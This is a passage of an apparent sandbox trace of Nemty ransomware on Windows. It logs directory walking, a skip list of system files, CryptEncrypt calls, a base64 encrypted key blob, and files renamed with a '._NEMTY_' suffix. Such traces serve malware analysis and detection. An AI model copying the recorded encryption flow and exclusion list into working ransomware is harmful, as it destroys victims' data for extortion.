lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.912] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0149.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.930] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0149.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.930] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0149.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.939] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0149.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.939] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0149.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.945] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0149.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.945] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0149.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.951] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0149.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.951] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0149.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0149.952] CloseHandle (hObject=0xffffffff) returned 0 [0149.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0149.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0149.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0149.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0149.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0149.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0149.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340468 [0149.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0149.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0149.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0149.952] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\localizedSettings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\localizedsettings.css"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\localizedSettings.css._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\localizedsettings.css._nemty_kgobjgd_")) returned 0 [0149.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0149.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0149.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0149.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0149.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0149.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0149.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0149.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0149.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0149.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.952] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2786, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0149.952] lstrcmpiW (lpString1="settings.css", lpString2=".") returned 1 [0149.952] lstrcmpiW (lpString1="settings.css", lpString2="..") returned 1 [0149.952] lstrcmpiW (lpString1="settings.css", lpString2="...") returned 1 [0149.952] lstrcmpiW (lpString1="settings.css", lpString2="windows") returned -1 [0149.952] lstrcmpiW (lpString1="settings.css", lpString2="$RECYCLE.BIN") returned 1 [0149.952] lstrcmpiW (lpString1="settings.css", lpString2="rsa") returned 1 [0149.952] lstrcmpiW (lpString1="settings.css", lpString2="NTDETECT.COM") returned 1 [0149.953] lstrcmpiW (lpString1="settings.css", lpString2="ntldr") returned 1 [0149.953] lstrcmpiW (lpString1="settings.css", lpString2="MSDOS.SYS") returned 1 [0149.953] lstrcmpiW (lpString1="settings.css", lpString2="IO.SYS") returned 1 [0149.953] lstrcmpiW (lpString1="settings.css", lpString2="boot.ini") returned 1 [0149.953] lstrcmpiW (lpString1="settings.css", lpString2="boot.ini") returned 1 [0149.953] lstrcmpiW (lpString1="settings.css", lpString2="AUTOEXEC.BAT") returned 1 [0149.953] lstrcmpiW (lpString1="settings.css", lpString2="ntuser.dat") returned 1 [0149.953] lstrcmpiW (lpString1="settings.css", lpString2="desktop.ini") returned 1 [0149.953] lstrcmpiW (lpString1="settings.css", lpString2="CONFIG.SYS") returned 1 [0149.953] lstrcmpiW (lpString1="settings.css", lpString2="RECYCLER") returned 1 [0149.953] lstrcmpiW (lpString1="settings.css", lpString2="BOOTSECT.BAK") returned 1 [0149.953] lstrcmpiW (lpString1="settings.css", lpString2="bootmgr") returned 1 [0149.953] lstrcmpiW (lpString1="settings.css", lpString2="programdata") returned 1 [0149.953] lstrcmpiW (lpString1="settings.css", lpString2="appdata") returned 1 [0149.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0149.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0149.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0149.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0149.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0149.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0149.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340188 [0149.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0149.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400d0 [0149.953] Sleep (dwMilliseconds=0x5) [0149.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xd07c690, dwHighDateTime=0x1d561e8)) [0149.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xd07c690, dwHighDateTime=0x1d561e8)) [0149.963] GetLastError () returned 0x5 [0149.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0149.963] GetLastError () returned 0x5 [0149.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0149.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0149.963] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0149.963] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0149.963] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0149.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340230 [0149.963] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340230, pcchString=0x653e5dc | out: pszString="lhUaozR7U8+GVCIkMcmid4Pngl4bBIWgdxnJCSwa1Epf+2gx/vYnyau46dnHYRR1\r\nc1UnN9AdszKVvVxo6fJodspoC5Vdo5umBBYicl/HLEBJGVPip7HK2o8rebqQ/oW1\r\ngaZ2v0/14QvYGH0bOz6WTggRQ+hzZlawVNmpBLJYI0JCDwyiRtoJjiFhUl9QWloE\r\nzYwngIu1nMqEmrM8nkbqKYhKOniSdCEiG/OqowPohRkc9Gp1RoyJPNO2X///4nCv\r\nGZeMfcy6ei0fbHGcv8MvJUKqMnF65r1qlPOkUV1MiP50wJNmeKlop4fPS3jF0/Pi\r\nTjRWyL8F6JFzhKRktYdHuw==\r\n", pcchString=0x653e5dc) returned 1 [0149.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0149.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340230 | out: hHeap=0x4f90000) returned 1 [0149.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0149.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0149.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340230 [0149.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0149.963] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\settings.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0149.964] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0149.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0149.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.964] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0149.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.974] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0149.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.974] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0149.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.983] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0149.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.983] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0149.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.992] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0149.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.993] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.002] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.002] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.011] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.011] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.020] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.020] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.030] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.030] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.039] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.039] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.049] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.049] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.060] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.060] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.065] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.066] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.071] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.071] WriteFile (in: 